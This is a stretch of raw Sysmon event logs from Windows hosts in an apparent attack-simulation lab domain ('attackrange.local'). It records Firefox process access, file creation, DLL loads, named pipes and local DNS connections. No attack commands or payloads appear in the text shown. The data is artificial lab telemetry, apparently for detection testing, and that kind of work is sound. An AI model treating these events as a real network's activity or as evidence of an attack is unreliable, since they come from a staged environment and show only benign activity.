Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.917{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.910{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000050834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.887{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\webappsstore.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.879{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage.sqlite-journalMD5=4F6D1F25FF40D557FF42B918B5CC89CB,SHA256=646CAA491F02F673C5D7F991C841EAFE6A6B0605A887E5AA4439DCF1AA8A82BD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.845{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\protections.sqlite-journalMD5=DEC7D93ACB977948DA0782C1499CFC69,SHA256=A4DB731ECA5DCAFC5256D332CB23A1FD3072BC7A1986D358F5197C54ED184717,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.815{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x2200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+2fb50|C:\Program Files\Mozilla Firefox\xul.dll+e4cd19|C:\Program Files\Mozilla Firefox\xul.dll+e485b9|C:\Program Files\Mozilla Firefox\xul.dll+e4901f|C:\Program Files\Mozilla Firefox\xul.dll+e3814d|C:\Program Files\Mozilla Firefox\xul.dll+403a1c3|C:\Program Files\Mozilla Firefox\xul.dll+229b601|C:\Program Files\Mozilla Firefox\xul.dll+9df490|C:\Program Files\Mozilla Firefox\xul.dll+9a4d81|C:\Program Files\Mozilla Firefox\xul.dll+19dccd|C:\Program Files\Mozilla Firefox\xul.dll+9e2597|C:\Program Files\Mozilla Firefox\xul.dll+9ad29d|C:\Program Files\Mozilla Firefox\xul.dll+9aff51|C:\Program Files\Mozilla Firefox\xul.dll+9aed7e|C:\Program Files\Mozilla Firefox\xul.dll+9ae0de|C:\Program Files\Mozilla Firefox\xul.dll+9b7f1b|C:\Program Files\Mozilla Firefox\xul.dll+900933|C:\Program Files\Mozilla Firefox\xul.dll+89f837|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f 10341000x800000000000000050830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.757{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+fdc990|C:\Program Files\Mozilla Firefox\xul.dll+fcd08b|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+fd13be|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+fd0c4c|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+fd13be|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4 23542300x800000000000000050829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.736{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\formhistory.sqlite-journalMD5=3CFA9B4E9DEA897D2BF2CA2BB179C4D8,SHA256=C07E85A116DA618E32EAD1FB26E4254D6048EEDD8B00971C147B9EF1EBB1676F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.727{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 23542300x800000000000000050827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.707{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EF197CB334B95C86D1B57CFDDEA0A249,SHA256=F0852F7E66F80468050E1DA125BB67D7F51950CE036B8FE53B37D44D8CA68C10,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.956{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E16FE6414383265BA95EED0E72CD4F8C,SHA256=48EDE79068A6BB4A2B142ACF25DEE5A15D59251AFEA4468A3DB6CF17CBD31298,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.945{7BD73061-728D-613B-560B-00000000F001}47766624C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a02441|C:\Program Files\Mozilla Firefox\xul.dll+a63798|C:\Program Files\Mozilla Firefox\xul.dll+ce8b1|C:\Program Files\Mozilla Firefox\xul.dll+19cb8d2|C:\Program Files\Mozilla Firefox\xul.dll+173c649|C:\Program Files\Mozilla Firefox\xul.dll+166f6b9|C:\Program Files\Mozilla Firefox\xul.dll+26cc2|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+8ae017|C:\Program Files\Mozilla Firefox\nss3.dll+77cbd|C:\Program Files\Mozilla Firefox\nss3.dll+8ec81|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.920{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\freebl3.dll92.0-FirefoxMozilla Foundationfreebl3.dllMD5=8E708A178EA76DAFDA64D6B9290725BA,SHA256=3480BF27277E603806C794CA9378C5EC6E1B41B77432E828D79E846DD64E5DCD,IMPHASH=53652A7DC9DFE48EFEF7CDBD318659AFtrueMozilla CorporationValid 734700x800000000000000050987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.919{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\softokn3.dll92.0-FirefoxMozilla Foundationsoftokn3.dllMD5=D4C21A21AB0C94C96C3B64D447A6B5CD,SHA256=478EEA8D567BCF9226719A080A0C52F6EE13FAAA7E12274778758C7BBE4A7455,IMPHASH=8217C8B17239D6236F43DE3AC007B8A6trueMozilla CorporationValid 10341000x800000000000000050986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.915{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.912{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.910{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\DWrite.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft DirectX Typography ServicesMicrosoft® Windows® Operating SystemMicrosoft CorporationDWriteMD5=1875083243EE498D0B2BB6B025AD7520,SHA256=A3FA592126642537BF6F0E4E9750A43A899525FE616DE899ABD7F26A9E7620C4,IMPHASH=4DF173E853B52F621D05CC337B9F72CEtrueMicrosoft WindowsValid 734700x800000000000000050983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.907{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\devobj.dll10.0.14393.0 (rs1_release.160715-1616)Device Information Set DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationdevinfoset.DLLMD5=72AD993A6E896EB50058A73D045F3284,SHA256=CFF524F52D5F91788F34A47076E0CA36132890981079B27F559279B3F6FC3B11,IMPHASH=DFDCA72C641F8587ADF49CA0ED1D5817trueMicrosoft WindowsValid 10341000x800000000000000050982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.905{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.904{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.904{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000050979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.893{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\nlaapi.dll10.0.14393.3808 (rs1_release.200707-2105)Network Location Awareness 2Microsoft® Windows® Operating SystemMicrosoft Corporationnlaapi.dllMD5=63EB5F68082B8C8C392E5DAC1D4EC678,SHA256=58EC364601FA6FE26525D8ADB44B7EDEFCFB73E72897C77B6E37F73E1C7BF871,IMPHASH=0B7F4620EB804B43452C1AFA5341A2C2trueMicrosoft WindowsValid 734700x800000000000000050978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.892{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winrnr.dll10.0.14393.0 (rs1_release.160715-1616)LDAP RnR Provider DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationwinrnrMD5=B0DE13ABF238AB28E963629B977A012F,SHA256=43288C8A658C2F0CB0CB1C9D874506D6CEEF455AAB68CE2EF0D685DE8E3BA0C3,IMPHASH=77C2BDF68EAD031D294626FB2F3033A1trueMicrosoft WindowsValid 10341000x800000000000000050977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.891{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a462d8|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a52a99|C:\Program Files\Mozilla Firefox\xul.dll+e415b8|C:\Program Files\Mozilla Firefox\xul.dll+19d7315|C:\Program Files\Mozilla Firefox\xul.dll+19cb8d2|C:\Program Files\Mozilla Firefox\xul.dll+19a2909|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 734700x800000000000000050976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.891{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\mswsock.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft Windows Sockets 2.0 Service ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmswsock.dllMD5=B52ACA309FD6F72105951FFBA022327B,SHA256=02AB6CCE4BF0D3F075D5E982F5A4CBDB514CE7C245EA474D7846A86CD3F13202,IMPHASH=0E9C1FA273A5EFD763FAC8E145B20C80trueMicrosoft WindowsValid 18141800x800000000000000050975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:31.891{7BD73061-728D-613B-560B-00000000F001}4776\cubeb-pipe-4776-3C:\Program Files\Mozilla Firefox\firefox.exe 17141700x800000000000000050974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:31.891{7BD73061-728D-613B-560B-00000000F001}4776\cubeb-pipe-4776-3C:\Program Files\Mozilla Firefox\firefox.exe 734700x800000000000000050973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.890{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\NapiNSP.dll10.0.14393.0 (rs1_release.160715-1616)E-mail Naming Shim ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationnapinsp.dllMD5=71514D9A6350A37B4F0BAA6ACB751771,SHA256=5DB99D6784900D85BB4A62E9F40B4EC628054D41B38A5E93F80C7A8BB066EBBB,IMPHASH=8D3297F500E5144336C044019A1ACFD4trueMicrosoft WindowsValid 23542300x800000000000000050972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.882{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=008E1D0D032E6079CA4339A0B785C2CB,SHA256=DEB70F22DC8FFFF3B75D2937F6BBD3086A6475A3A793EEF75F7427C77E729EC4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000050971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.022{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60168- 354300x800000000000000050970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.022{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56656- 354300x800000000000000050969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.021{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58369- 354300x800000000000000050968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.021{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local57470- 354300x800000000000000050967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.017{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58169- 10341000x800000000000000016359Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.753{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7297-613B-F704-00000000F101}3172C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016358Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 